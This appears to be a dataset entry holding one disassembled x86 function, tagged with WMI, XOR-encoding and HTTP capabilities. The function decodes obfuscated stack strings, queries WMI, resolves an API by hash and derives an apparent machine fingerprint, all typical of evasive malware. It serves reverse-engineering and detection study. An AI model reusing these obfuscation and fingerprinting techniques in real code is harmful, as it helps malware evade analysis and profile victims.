Function at 0x439a50
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov ebx, dword [ebp + 8]
mov eax, dword [0x44dee0]
mov dword [esp + 4], 0x77c90965
mov dword [esp + 8], 0x73ed75ed
mov dword [esp + 0xc], 0x7fd371ec
mov dword [esp + 0x10], 0x7b367de9
mov dword [esp + 0x14], 0x67cf79e6
mov dword [esp + 0x18], 0x63cf65fe
mov dword [esp + 0x1c], 0x6f6e610d
mov word [esp + 0x20], 0
mov byte [esp + 0x22], 0
mov ecx, 0xbe
mov esi, 0x41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0xba]
mov edx, esi
xor edx, ecx
and edx, edi
xor edx, ecx
add dl, 0x4a
mov byte [esp + ecx - 0xba], dl
inc ecx
dec esi
cmp ecx, 0xdd
jne 0x439ac0
lea ecx, [esp + 0x44]
lea edi, [esp + 0x70]
lea esi, [esp + 4]
push ecx
push 8
push edi
push 0xd
push esi
push 0
call eax
test eax, eax
jns 0x439b07
mov dword [esp + 0x70], 0x3a0043
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x50], 0xa1f65470
mov dword [esp + 0x4c], 0xa9f65da2
mov dword [esp + 0x48], 0x578b17ca
mov dword [esp + 0x44], 0xa14f9093
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x444668
push 1
push 0
push 0x444678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x439f79
mov dword [esp + 4], 0x34d0152
mov dword [esp + 8], 0x752054b
mov dword [esp + 0xc], 0xb490954
mov dword [esp + 0x10], 0xf430d45
mov dword [esp + 0x14], 0x13201146
mov word [esp + 0x18], 0x1514
mov dword [esp + 0x1a], 0
mov byte [esp + 0x1e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 4]
mov edx, ecx
not edx
mov esi, edx
and esi, 0xd9
or edx, 0x26
add ecx, edx
inc ecx
or ecx, esi
xor ecx, eax
xor cl, 0xd9
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x1b
jne 0x439ba0
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x88], edi
push edi
push eax
call dword [ecx + 0xc]
test eax, eax
lea edi, [esp + 0x70]
js 0x439f65
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x439f5b
mov dword [esp + 4], 0x39853b85
mov dword [esp + 8], 0x2526278c
mov eax, 0x74
mov ecx, 0x8b
nop
nop
movzx edi, byte [esp + ecx - 0x87]
mov esi, ecx
or esi, edi
mov edx, esi
sub edx, edi
add edx, eax
and edx, esi
add dl, 0x49
mov byte [esp + ecx - 0x87], dl
dec eax
inc ecx
cmp eax, 0x6c
jne 0x439c40
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x54], eax
mov dword [esp + 4], 0x83478153
mov dword [esp + 8], 0x87438548
mov dword [esp + 0xc], 0x8b5e894b
mov dword [esp + 0x10], 0x8f648d6c
mov dword [esp + 0x14], 0x93549170
mov dword [esp + 0x18], 0x97599546
mov dword [esp + 0x1c], 0x9b7a9955
mov dword [esp + 0x20], 0x9f379d4b
mov dword [esp + 0x24], 0x639161ce
mov dword [esp + 0x28], 0x67b96596
mov dword [esp + 0x2c], 0x6ba369aa
mov dword [esp + 0x30], 0x6fbd6da3
mov dword [esp + 0x34], 0x7170
mov byte [esp + 0x38], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 4]
lea ecx, [eax + 0x444acde0]
xor ecx, edx
mov edx, ecx
and edx, 0x9d
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, edx
or edx, 2
imul edx, esi
xor ecx, 0x9f
add ecx, edi
add ecx, edx
inc cl
mov byte [esp + eax + 4], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x35
jb 0x439cf0
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x64]
push esi
call dword [ecx + 0x50]
test eax, eax
lea edi, [esp + 0x70]
js 0x439f45
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x439f3b
cmp eax, 1
je 0x439f3b
cmp dword [esp + 0x58], 0
je 0x439f3b
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
mov dword [esp + 4], 0x29812bf1
mov dword [esp + 8], 0x2d812f9e
mov dword [esp + 0xc], 0x319e338b
mov dword [esp + 0x10], 0x358d37e2
mov dword [esp + 0x14], 0x399c3b87
mov dword [esp + 0x18], 0x3d883f93
mov dword [esp + 0x1c], 0x33c
mov ecx, 0xde55338
lea edx, [esp + 4]
nop
nop
nop
movzx eax, byte [edx]
lea esi, [ecx - 0xde55300]
and esi, eax
or eax, ecx
xor eax, esi
lea edi, [eax + eax]
not edi
add edi, eax
mov esi, edi
and esi, 0xe3
mov eax, edi
xor eax, 0x1c
add eax, edi
sub eax, esi
and edi, 0x1c
add eax, edi
inc al
mov byte [edx], al
inc edx
dec ecx
cmp ecx, 0xde5531c
jne 0x439e00
mov edx, dword [esp]
mov eax, dword [edx]
lea ecx, [esp + 4]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
push ecx
push edx
call dword [eax + 0x10]
test eax, eax
js 0x439f26
cmp word [esp + 0x80], 8
jne 0x439f26
mov eax, dword [esp + 0x88]
movzx ecx, word [eax]
test cx, cx
mov dword [esp], eax
je 0x439ec5
add eax, 2
xor edi, edi
jmp 0x439e9c
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x439ec7
cmp cx, 0x7f
jbe 0x439e90
movzx edx, cx
cmp edx, 0x7ff
ja 0x439eb2
add edi, 2
jmp 0x439e91
cmp cx, 0xffff
je 0x439e91
mov ecx, edi
and ecx, 3
xor edi, 3
lea edi, [edi + ecx*2]
jmp 0x439e91
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x64], eax
push eax
call fcn.00408580
add esp, 4
mov esi, eax
push dword [esp]
push dword [esp + 0x68]
push eax
call fcn.0042f540
add esp, 0xc
mov eax, dword [esi]
mov dword [esp + 0x44], eax
and edi, 0xfffffffc
cmp edi, 4
je 0x439f16
mov eax, dword [esi + 4]
mov dword [esp + 0x48], eax
cmp edi, 8
je 0x439f16
mov eax, dword [esi + 8]
mov dword [esp + 0x4c], eax
cmp edi, 0xc
je 0x439f16
mov eax, dword [esi + 0xc]
mov dword [esp + 0x50], eax
push esi
call fcn.00408590
add esp, 4
lea esi, [esp + 0x80]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edi, [esp + 0x70]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x54]
call esi
push dword [esp + 0x68]
call esi
lea esi, [esp + 4]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44ded8]
call fcn.00440630
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call eax
test eax, eax
je 0x439fa8
mov eax, dword [esp + 4]
mov dword [esp + 0x44], eax
xor esi, esi
jmp 0x439fbd
inc esi
add ebx, 8
cmp esi, 4
je 0x43a043
mov eax, 0
test esi, esi
je 0x439fd0
cmp dword [esp + esi*4 + 0x44], 1
mov eax, esi
sbb eax, 0
mov eax, dword [esp + eax*4 + 0x44]
mov edx, eax
and edx, 0x1a5845
mov ecx, eax
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
and ecx, 0xffe5a7ba
imul ecx, edx
add eax, ecx
mov ecx, eax
and ecx, 0xebde8a13
xor eax, 0xebde8a13
lea eax, [eax + ecx*2]
mov dword [esp + esi*4 + 0x44], eax
mov edi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.0041fea0
add esp, 0x10
nop
nop
cmp byte [eax + edi + 9], 0
lea edi, [edi + 1]
jne 0x43a020
test edi, edi
je 0x439fb0
add eax, edi
neg edi
push edi
push 0x30
push eax
call fcn.00408600
add esp, 0xc
jmp 0x439fb0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret